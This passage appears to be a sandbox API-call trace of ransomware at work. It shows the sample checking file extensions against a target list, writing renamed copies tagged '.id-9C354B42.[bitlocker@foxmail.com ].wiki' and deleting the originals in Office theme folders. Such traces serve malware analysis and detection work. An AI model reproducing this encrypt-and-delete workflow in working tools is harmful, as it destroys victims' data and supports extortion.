Shared\\THEMES14\\AXIS\\AXIS.ELM") returned 69 [0197.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM") returned 69 [0197.326] lstrlenW (lpString=".doc") returned 4 [0197.327] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0197.327] lstrlenW (lpString=".docx") returned 5 [0197.327] lstrcmpiW (lpString1=".docx", lpString2="S.ELM") returned -1 [0197.327] lstrlenW (lpString=".pdf") returned 4 [0197.327] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0197.327] lstrlenW (lpString=".xls") returned 4 [0197.327] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0197.327] lstrlenW (lpString=".xlsx") returned 5 [0197.327] lstrcmpiW (lpString1=".xlsx", lpString2="S.ELM") returned -1 [0197.327] lstrlenW (lpString=".ppt") returned 4 [0197.327] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0197.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM") returned 69 [0197.327] lstrlenW (lpString=".zip") returned 4 [0197.327] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0197.327] lstrlenW (lpString=".rar") returned 4 [0197.327] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0197.327] lstrlenW (lpString=".bz2") returned 4 [0197.327] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0197.327] lstrlenW (lpString=".7z") returned 3 [0197.327] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0197.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM") returned 69 [0197.327] lstrlenW (lpString=".dbf") returned 4 [0197.327] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0197.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM") returned 69 [0197.327] lstrlenW (lpString=".1cd") returned 4 [0197.327] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0197.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM") returned 69 [0197.327] lstrlenW (lpString=".jpg") returned 4 [0197.327] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0197.328] lstrcmpiW (lpString1=".ELM", lpString2=".wiki") returned -1 [0197.328] lstrlenW (lpString="BLUECALM.ELM") returned 12 [0197.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0198.460] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=49850) returned 1 [0198.460] CloseHandle (hObject=0x1f0) returned 1 [0198.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm")) returned 0x20 [0198.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.461] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0198.461] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.461] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.461] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0198.461] GetLastError () returned 0x0 [0198.461] ReadFile (in: hFile=0x1f0, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0xc2ba, lpOverlapped=0x0) returned 1 [0198.464] WriteFile (in: hFile=0x20c, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xc2c0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xc2c0, lpOverlapped=0x0) returned 1 [0198.466] ReadFile (in: hFile=0x1f0, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.466] WriteFile (in: hFile=0x20c, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.466] SetEndOfFile (hFile=0x20c) returned 1 [0198.466] CloseHandle (hObject=0x20c) returned 1 [0198.466] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.466] SetEndOfFile (hFile=0x1f0) returned 1 [0198.467] CloseHandle (hObject=0x1f0) returned 1 [0198.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.467] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm")) returned 1 [0198.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM") returned 77 [0198.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM") returned 77 [0198.468] lstrlenW (lpString=".doc") returned 4 [0198.468] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0198.468] lstrlenW (lpString=".docx") returned 5 [0198.468] lstrcmpiW (lpString1=".docx", lpString2="M.ELM") returned -1 [0198.468] lstrlenW (lpString=".pdf") returned 4 [0198.468] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0198.468] lstrlenW (lpString=".xls") returned 4 [0198.468] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0198.468] lstrlenW (lpString=".xlsx") returned 5 [0198.468] lstrcmpiW (lpString1=".xlsx", lpString2="M.ELM") returned -1 [0198.468] lstrlenW (lpString=".ppt") returned 4 [0198.468] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0198.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM") returned 77 [0198.468] lstrlenW (lpString=".zip") returned 4 [0198.468] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0198.468] lstrlenW (lpString=".rar") returned 4 [0198.468] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0198.468] lstrlenW (lpString=".bz2") returned 4 [0198.468] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0198.468] lstrlenW (lpString=".7z") returned 3 [0198.468] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0198.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM") returned 77 [0198.468] lstrlenW (lpString=".dbf") returned 4 [0198.468] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0198.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM") returned 77 [0198.468] lstrlenW (lpString=".1cd") returned 4 [0198.468] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0198.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM") returned 77 [0198.469] lstrlenW (lpString=".jpg") returned 4 [0198.469] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0198.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM") returned 77 [0198.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM") returned 77 [0198.469] lstrlenW (lpString=".doc") returned 4 [0198.469] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0198.469] lstrlenW (lpString=".docx") returned 5 [0198.469] lstrcmpiW (lpString1=".docx", lpString2="M.ELM") returned -1 [0198.469] lstrlenW (lpString=".pdf") returned 4 [0198.469] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0198.469] lstrlenW (lpString=".xls") returned 4 [0198.469] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0198.469] lstrlenW (lpString=".xlsx") returned 5 [0198.469] lstrcmpiW (lpString1=".xlsx", lpString2="M.ELM") returned -1 [0198.469] lstrlenW (lpString=".ppt") returned 4 [0198.469] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0198.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM") returned 77 [0198.469] lstrlenW (lpString=".zip") returned 4 [0198.469] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0198.469] lstrlenW (lpString=".rar") returned 4 [0198.469] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0198.469] lstrlenW (lpString=".bz2") returned 4 [0198.469] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0198.469] lstrlenW (lpString=".7z") returned 3 [0198.469] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0198.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM") returned 77 [0198.469] lstrlenW (lpString=".dbf") returned 4 [0198.469] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0198.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM") returned 77 [0198.470] lstrlenW (lpString=".1cd") returned 4 [0198.470] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0198.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM") returned 77 [0198.470] lstrlenW (lpString=".jpg") returned 4 [0198.470] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0198.470] lstrcmpiW (lpString1=".ELM", lpString2=".wiki") returned -1 [0198.470] lstrlenW (lpString="BOLDSTRI.ELM") returned 12 [0198.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0198.859] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=60154) returned 1 [0198.859] CloseHandle (hObject=0x1e0) returned 1 [0198.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm")) returned 0x20 [0198.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0198.860] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.860] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0198.860] GetLastError () returned 0x0 [0198.860] ReadFile (in: hFile=0x1e0, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0xeafa, lpOverlapped=0x0) returned 1 [0198.863] WriteFile (in: hFile=0x220, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xeb00, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xeb00, lpOverlapped=0x0) returned 1 [0198.865] ReadFile (in: hFile=0x1e0, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.865] WriteFile (in: hFile=0x220, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.865] SetEndOfFile (hFile=0x220) returned 1 [0198.865] CloseHandle (hObject=0x220) returned 1 [0198.865] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.865] SetEndOfFile (hFile=0x1e0) returned 1 [0198.866] CloseHandle (hObject=0x1e0) returned 1 [0198.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.867] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm")) returned 1 [0198.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0198.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0198.867] lstrlenW (lpString=".doc") returned 4 [0198.867] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0198.867] lstrlenW (lpString=".docx") returned 5 [0198.867] lstrcmpiW (lpString1=".docx", lpString2="I.ELM") returned -1 [0198.867] lstrlenW (lpString=".pdf") returned 4 [0198.867] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0198.867] lstrlenW (lpString=".xls") returned 4 [0198.867] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0198.867] lstrlenW (lpString=".xlsx") returned 5 [0198.867] lstrcmpiW (lpString1=".xlsx", lpString2="I.ELM") returned -1 [0198.867] lstrlenW (lpString=".ppt") returned 4 [0198.867] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0198.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0198.868] lstrlenW (lpString=".zip") returned 4 [0198.868] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0198.868] lstrlenW (lpString=".rar") returned 4 [0198.868] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0198.868] lstrlenW (lpString=".bz2") returned 4 [0198.868] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0198.868] lstrlenW (lpString=".7z") returned 3 [0198.868] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0198.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0198.868] lstrlenW (lpString=".dbf") returned 4 [0198.868] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0198.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0198.868] lstrlenW (lpString=".1cd") returned 4 [0198.868] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0198.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0198.868] lstrlenW (lpString=".jpg") returned 4 [0198.868] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0198.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0198.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0198.868] lstrlenW (lpString=".doc") returned 4 [0198.868] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0198.868] lstrlenW (lpString=".docx") returned 5 [0198.868] lstrcmpiW (lpString1=".docx", lpString2="I.ELM") returned -1 [0198.868] lstrlenW (lpString=".pdf") returned 4 [0198.868] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0198.868] lstrlenW (lpString=".xls") returned 4 [0198.868] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0198.868] lstrlenW (lpString=".xlsx") returned 5 [0198.868] lstrcmpiW (lpString1=".xlsx", lpString2="I.ELM") returned -1 [0198.868] lstrlenW (lpString=".ppt") returned 4 [0198.869] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0198.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0198.869] lstrlenW (lpString=".zip") returned 4 [0198.869] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0198.869] lstrlenW (lpString=".rar") returned 4 [0198.869] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0198.869] lstrlenW (lpString=".bz2") returned 4 [0198.869] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0198.869] lstrlenW (lpString=".7z") returned 3 [0198.869] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0198.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0198.869] lstrlenW (lpString=".dbf") returned 4 [0198.869] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0198.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0198.869] lstrlenW (lpString=".1cd") returned 4 [0198.869] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0198.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0198.869] lstrlenW (lpString=".jpg") returned 4 [0198.869] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0198.869] lstrcmpiW (lpString1=".INF", lpString2=".wiki") returned -1 [0198.869] lstrlenW (lpString="BREEZE.INF") returned 10 [0198.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.506] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=450) returned 1 [0199.506] CloseHandle (hObject=0x1fc) returned 1 [0199.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf")) returned 0x20 [0199.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.506] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.506] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.507] GetLastError () returned 0x0 [0199.507] ReadFile (in: hFile=0x1fc, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x1c2, lpOverlapped=0x0) returned 1 [0199.508] WriteFile (in: hFile=0x1cc, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0x1d0, lpOverlapped=0x0) returned 1 [0199.509] ReadFile (in: hFile=0x1fc, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.509] WriteFile (in: hFile=0x1cc, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0199.509] SetEndOfFile (hFile=0x1cc) returned 1 [0199.509] CloseHandle (hObject=0x1cc) returned 1 [0199.509] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.509] SetEndOfFile (hFile=0x1fc) returned 1 [0199.510] CloseHandle (hObject=0x1fc) returned 1 [0199.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.510] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf")) returned 1 [0199.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF") returned 73 [0199.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF") returned 73 [0199.510] lstrlenW (lpString=".doc") returned 4 [0199.510] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0199.510] lstrlenW (lpString=".docx") returned 5 [0199.510] lstrcmpiW (lpString1=".docx", lpString2="E.INF") returned -1 [0199.510] lstrlenW (lpString=".pdf") returned 4 [0199.510] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0199.510] lstrlenW (lpString=".xls") returned 4 [0199.511] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0199.511] lstrlenW (lpString=".xlsx") returned 5 [0199.511] lstrcmpiW (lpString1=".xlsx", lpString2="E.INF") returned -1 [0199.511] lstrlenW (lpString=".ppt") returned 4 [0199.511] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0199.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF") returned 73 [0199.511] lstrlenW (lpString=".zip") returned 4 [0199.511] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0199.511] lstrlenW (lpString=".rar") returned 4 [0199.511] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0199.511] lstrlenW (lpString=".bz2") returned 4 [0199.511] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0199.511] lstrlenW (lpString=".7z") returned 3 [0199.511] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0199.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF") returned 73 [0199.511] lstrlenW (lpString=".dbf") returned 4 [0199.511] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0199.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF") returned 73 [0199.511] lstrlenW (lpString=".1cd") returned 4 [0199.512] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0199.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 